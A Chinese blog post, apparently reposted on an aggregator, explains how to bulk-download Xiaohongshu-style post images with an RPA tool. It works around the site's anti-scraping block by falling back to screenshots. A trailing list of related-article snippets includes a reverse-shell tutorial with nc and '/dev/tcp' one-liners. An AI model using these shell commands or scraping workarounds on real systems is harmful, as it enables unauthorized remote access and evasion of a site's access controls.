影刀实例二,小某书如何持续下载图片

一,案例背景:

      小某书平台,利用影刀rpa搜索关键词,然后下载对应文章的图片.

二,思路

1. 登录小某书平台,将网页放大最大【手动完成,作为初始状态】

2. 利用影刀命令【打开输入对话框】获得要搜索的关键词

3.利用命令【填写输入框】接受2的结果,填入搜索框,并点击搜索

4.因为之想下载图文,不涉及视频,所以在点击 【图文】

5.重点来了,本来批量获得相类似的元素一般使用【循环相似元素】或者【循环相似列表】就可以,但是这了面设计一个很重要的概念”懒加载“

三 ,懒加载 介绍 

简单说:就是所有的元素不在屏幕上一次展现,这就造成了无法一次取到所有对象的困难.

常用的套路为:无限循环嵌套【循环像素元素】

需要注意的事项为:1.无限循环,必须设定退出条件.2.无限循环必须去重

如何去做,需要更具具体场景去做.这里就不在赘述

四 ,如何是的程序稳定性更好

前三步,已经获得了所有笔记的链接,循环笔记链接列表就可以

每打开一个可以利用一下步骤获得图片中心思想是模拟人工:

1. 点击图片

2.弹出下载图片,点击.随机等待几秒

3.获得笔记题目元素文本,命名下载图片

但是但是但是,下载超过200左右的时候,在运行会发现无发下载

这是为什么呢?

就是:1点击图片后 没有出现2,而是复制图片或者链接.应该是触发了反爬机制

如何解决呢,利用条件分支分情况解决

思路如下,点击图片后,出现下载图片就按照原先处理,没有则利用【网页截图】命令处理一下 

五,总结一下 

实践出真知,套路得人心

处理懒加载问题得套路要深深记忆在脑袋里,这个是常见得网页自动化的场景,记住思路一通百通.

规避反爬虫机制,有的时候并不一定需要高深的编程知识,更重要的是实践中仔细观察,理清思路.

谢谢大家,希望觉得对大家又帮助的话 ,关注我并多提意见

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/177838.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

替换动态字符串

//{tokenid}是url里面要替换的string if( retul[i].url.includes("{tokenid}")){ var re new RegExp ( "{tokenid}" , "g" ); retul[i].url retul[i].url.replace ( re , tokenid ); // retul[i].url.replace("…

HCIA-H12-811题目解析(2)

1、【单选题】 在以太网这种多点访问网络上PPPOE服务器可以通过一个以太网端口与很多PPPOE客户端建立起PPP连接,因此服务器必须为每个PPP会话建立唯一的会话标识符以区分不同的连接PPPOE会使用什么参数建立会话标识符? 2、【单选题】PPP协议定义的是OSI参考模型中…

【Python】Selenium自动化测试框架

设计思路 本文整理归纳以往的工作中用到的东西,现汇总成基础测试框架提供分享。 框架采用python3 selenium3 PO yaml ddt unittest等技术编写成基础测试框架,能适应日常测试工作需要。 1、使用Page Object模式将页面定位和业务操作分开&#xff0…

java--json工具

对象转化为string类型时,时间类型保持为字符串类型,而不是转化为时间戳(数字) JsonUtils .java package com.hfwy.energyelectrolysisauxiliary.utils;import cn.hutool.core.lang.Dict; import cn.hutool.core.util.ArrayUtil; import cn.hutool.core.util.ObjectUtil; import…

Spring Cloud + Nacos 项目启动失败【No spring.config.import property has been defined】

在 Spring Cloud 项目使用 bootstrap.yaml 配置文件,添加 nacos 等相关参数配置,启动服务抛入如下异常: org.springframework.cloud.commons.ConfigDataMissingEnvironmentPostProcessor$ImportException: No spring.config.import set ... …

ubuntu配置免密登录vscode

1、配置免密登录 (1)在windows系统cmd下运行命令 ssh-keygen 一路回车,将会在C:\Users\用户名\.ssh目录下生成两个文件:id_rsa和id_rsa.pub。如下图所示。 (2)进入.ssh目录。如果想使用root用户&#xff0…

fastadmin学习笔记-----下拉框联动

fastadmin学习笔记----- fastadmin下拉框联动 学习笔记 下拉框联动 在项目中经常需要用到下拉框联动。网上的资料多有不全,所以根据自身经验,以笔记的形式发布出来。仅供参考。 上边的“ 状态 ” 下拉框用的动态下拉框,就是,s…

抖去推--短视频账号矩阵系统saas工具源码技术开发(源头)

目录 一、短视频矩阵系统搭建常见问题? 二、账号矩阵如何打造?(企业号、员工号、达人号裂变) 三、无人直播解决什么问题? 一、短视频矩阵系统搭建常见问题? 1、抖去推的短视频AI矩阵营销软件需要一定的技…

Python爬虫404错误:解决方案总结

在进行网络爬虫开发的过程中,经常会遇到HTTP 404错误,即“Not Found”错误。这种错误通常表示所请求的资源不存在。对于爬虫开发者来说,处理这类错误是至关重要的,因为它们可能会导致爬虫无法正常工作。本文将探讨Python爬虫遇到4…

Springboot 集成Redis

一、pom添加依赖 <!--redis--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId></dependency><!-- spring2.X集成redis所需common-pool2--><dependency&…

linux chmod命令详解

linux chmod命令详解 一、chmod命令使用方法二、chown与chmod的区别 一、chmod命令使用方法 chmod命令用于修改文件或目录的权限。在Linux系统中&#xff0c;文件和目录的权限分为读&#xff08;r&#xff09;、写&#xff08;w&#xff09;和执行&#xff08;x&#xff09;三…

易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现 [附POC]

文章目录 易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现 [附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现 [附POC] 0x01 前言 免责声明&#xff1a;请勿利用文章…

inBuilder低代码平台新特性推荐-第十一期

今天来给大家带来的是inBuilder低代码平台特性推荐系列第十一期——子表启用卡片式编辑&#xff01; 一、 场景介绍 表单子表的列比较多的场景中&#xff0c;若使用列表自带编辑器需要频繁拖动横向滚动条&#xff0c;而且不易进行数据分析、自查。所以项目中希望将子表的数据…

名创优品迈向“超级品牌”的关键两步

本文转载自产业科技 从国内到国外&#xff0c;从货架小店到超级门店&#xff0c;从便宜好物到兴趣消费&#xff0c;名创优品已经很难再被普通的零售概念所定义&#xff0c;它越来越像一个城市的潮流生活符号&#xff0c;标记出最活跃的年轻消费群体。 形象重塑背后可见品牌进…

ThreadLocal 有什么用

ThreadLocal在Java中是一个非常有用的工具&#xff0c;它可以帮助我们解决多线程环境下的数据共享问题。ThreadLocal是Java中的一个类&#xff0c;它提供了线程局部变量。这些变量是每个线程持有的&#xff0c;因此每个线程只能看到和修改自己的副本&#xff0c;而不会影响其他…

linux反弹shell

nc工具反弹shell 下面是windows主机找到nc打开1.bat输入&#xff1a;nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口&#xff0c; 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…

算法刷题-动态规划3(未完待续---------

算法刷题-动态规划3&#xff09; 01背包问题最后一块石头的重量 01背包问题 一篇文章吃透背包问题 大佬讲解什么是背包问题 问题分析&#xff1a; 面对这么多的物品&#xff0c; 选择一个个地来装入背包&#xff0c;背包的承重量不断地增加&#xff0c;二维数组中&#xff0c;…

【Linux】探索进程的父与子

目录 1.获取进程PID1.1进程PPID 2.通过系统调用创建进程-fork初识2.1为什么fork函数要给子进程返回0&#xff0c;给父进程返回pid&#xff1f;fork函数如何做到返回两次的&#xff1f;fork干了什么事情&#xff1f;怎么理解一个变量为什么有两个不同的值&#xff1f;如果父子进…

投标文件的胶装和封装以及注意事项

投标文件最后的胶装和封装的时间我们需要做的内容: 1.制作签字页码表&#xff08;法人签字有几处&#xff0c;页码11,12,13,89,678&#xff0c;代理人签字有几处&#xff0c;页码11,12,13,89,678 &#xff09;&#xff0c;目的为后期签字做准备。【关注首页&#xff0c;一般也…

docker部署flask服务

docker Docker是一种开源的容器化平台&#xff0c;它可以帮助开发者将应用程序及其依赖项打包成易于交付的、可移植的容器。Docker容器是基于Linux容器技术构建的&#xff0c;可以在任何类型的主机上运行&#xff0c;包括虚拟机、物理机或云服务器。 Docker容器提供了更高的性能…